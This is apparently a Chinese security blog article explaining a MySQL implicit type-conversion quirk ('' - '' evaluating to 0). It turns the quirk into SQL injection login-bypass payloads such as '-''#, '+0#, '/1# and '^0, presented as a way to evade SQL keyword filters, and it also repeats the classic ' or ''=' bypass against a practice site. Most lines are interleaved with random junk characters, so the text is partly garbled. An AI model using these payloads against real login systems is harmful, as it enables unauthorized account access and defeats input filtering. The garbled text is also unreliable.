我们先来看这样一个场景。
/ `! F _( W6 C6 f有以下表结构: ) v0 W* B d+ h9 l6 q3 g
, j+ y7 {: v$ E
mysql> desc admin;3 q7 |5 u8 A( ?: a
+----------+--------------+------+-----+---------+----------------+
H7 g; Z- ?2 @2 E$ m! R% d6 ^/ s| Field | Type | Null | Key | Default | Extra |
5 N* B9 u3 p* ~6 |# q8 o) G. q/ s+----------+--------------+------+-----+---------+----------------+6 t3 [2 A; Q. K$ e
| id | mediumint(9) | NO | PRI | NULL | auto_increment |- c7 u4 j% y7 j/ a1 _
| name | char(32) | NO | UNI | NULL | |0 A* A H' y; n( i: h4 R
| password | char(32) | NO | UNI | NULL | |
9 O! L& j8 L! m: n5 f: D+----------+--------------+------+-----+---------+----------------+
2 S O% ?6 I0 |$ c9 I8 e7 O, r3 rows in set (0.00 sec)! ] P V# x1 ~$ ]9 a% B7 f+ T
执行select * from admin;,成功返回所有记录内容。
( g* o! `3 E4 l. B* N
% W. m! ~7 \9 Y9 s' M( u6 }) R
5 G6 P$ R* J: T5 w5 v) d) u+----+--------+----------------------------------+
. k" {' |8 t" c! s- h; H| id | name | password |
6 t" u# d: h7 O- E# y# @7 M+----+--------+----------------------------------+! D/ p, W& O) i* S- S J
| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |& k+ _+ p; o' j7 y" }6 @( w
| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
% [$ C! K+ t- |0 w! t/ e| 4 | n00b | ff80e8508d39047460921792273533a4 |
4 c1 v/ Q( [' T3 a7 C) J+----+--------+----------------------------------+3 y/ x7 r4 Z5 j' L2 U
3 rows in set (0.00 sec), {' d- G$ i& {
执行select * from admin where name=”;,没有匹配到任何记录。
, J* @2 g: v8 I( ?% i$ y) b' Y, R. G$ U# X2 H' m
mysql> select * from admin where name = '';8 z# U* j r3 }. f* K
Empty set (0.00 sec)
# J; d2 u0 D: M" e( b! y% ~那么我们来执行select * from admin where name = ”-”;$ O5 K8 t/ l$ E
% T0 A/ z- R; E/ B( b2 d
" m: R4 T, X( ^$ I1 R
+----+--------+----------------------------------+
8 t3 K5 [! q) k% C. G- Z6 D| id | name | password |
" e' q( N: f) l/ R' f0 Q6 s+----+--------+----------------------------------+
7 G! y/ x9 V; Z| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |% M( X1 W, B3 |( u0 ]
| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |3 J' c: A7 L+ m4 |# J' p W
| 4 | n00b | ff80e8508d39047460921792273533a4 |6 C. b2 a" L3 k0 P z& `
+----+--------+----------------------------------+/ ~' T5 }5 X5 B, ]0 U7 e, G. C
3 rows in set, 3 warnings (0.00 sec)0 F; V: V6 R6 o- W9 Y
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: ) e x. R$ \9 C1 h4 j9 K
: r M! Z! w2 q5 ?/ dmysql> show warnings;
7 m) Y3 T! ^1 X% P/ T7 V) p" W+---------+------+------------------------------------------7 v4 \$ C! Z2 u# R1 g
| Level | Code | Message { q) Y2 Q' t
+---------+------+------------------------------------------
7 E- A4 D- N: ]3 ?$ n- E2 V9 t8 m. h; D* N| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
7 [) _1 H8 R. {$ r L| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s/ _. U* P% h c, q
| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
s" P: Y1 n# o9 K+---------+------+------------------------------------------
; f* J Q: [: `7 E1 y3 rows in set (0.00 sec)
3 p, l6 a, K0 P* P% Q$ @ ?" _提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 % q. k+ ?: n5 Z" `$ S8 s
" } \* q) U" R$ b" @
mysql> select ''-'';
& i0 W& c, e7 Z8 m6 o+-------+6 P, |7 w( \7 t) S0 q( s- T: t
| ''-'' |2 R0 \; U0 Q1 K. |& t
+-------+
1 D& a. a, D6 `" y4 n" z. C T+ {| 0 |+ _8 [5 W/ T; \$ M, n4 }0 t
+-------+/ L' u% t6 a' u: g0 E6 k
1 row in set (0.00 sec)
4 }& [* s! p2 f% J* j2 b+ T返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
5 |4 n, J$ e: Y; b& ?+ {8 V
4 @0 \9 D$ w' q$ k- ^' i( R' e fmysql> select CAST((select name from admin limit 1,1) as DECIMAL);
4 x7 {; \! C6 q* [% m+-----------------------------------------------------+" e! ^' E5 h7 u* _
| CAST((select name from admin limit 1,1) as DECIMAL) |4 E; U8 A: r& J8 G2 b! R8 H6 y
+-----------------------------------------------------+
' G2 d5 w, {. Y' C| 0 |, g( s! K/ h9 S4 K7 o
+-----------------------------------------------------+
% n9 H* X1 o2 q3 O2 `7 B- C" O; J1 row in set, 1 warning (0.00 sec)
d0 q, M% G6 N0 M' U因此where语句构成了相等的条件,where 0=”=”,记录被返回。 , ]4 z9 s: A; B) W
7 D) Y" W' H+ q
SQL注入场景: http://www.sqlzoo.net/hack/
/ f- b+ b7 ]4 ~4 I% _6 Q
+ |$ l( h! x9 t& V) S/ {1 H- w) }9 v* e" I
+ C* a# J g/ L d' I- j
- Z! I$ R& {: j) _! u7 V' o如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
2 S* c) P; k$ K& W1 b- ~
1 B) C3 A# C8 K, z) ]( {. {- O那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
) t. _% C. t6 D, e) e8 }# O" g& ]6 x3 x- S
3 J3 N4 x( B0 i/ P5 ?% j: W6 o4 R) ?. l% d
. Z4 `9 @, J1 J) u9 b仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 1 z: [( f' b& o2 O8 K
9 m# M6 X5 D! y+ @
( T/ ^7 I# G4 n9 D7 |
1 R: y1 Q" }2 |3 R除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可' Q7 h$ r) }2 }* K! O
- R; M K- e$ i6 i
( z* ~2 s$ L9 L$ P imysql> select ''/1;
6 j* O) x7 s6 B6 N1 G2 k+------+
- A0 g0 y$ Q3 [$ Q \+ r- || ''/1 |
- I+ q2 m, f( r3 k+ ?, y$ G; {" q+------+
5 W K+ Y( m% U5 |6 X/ _& E| 0 |
4 X/ z8 A& Y+ B$ M6 I+------+9 s! s( c' u* H4 l3 y, l3 T
1 row in set (0.00 sec)
$ J5 ~% G, |7 M类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。 . ~1 l/ b# f1 K
, ^0 {1 G2 _" ?' h0 P利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。2 {; x3 u. x3 _4 t
|
|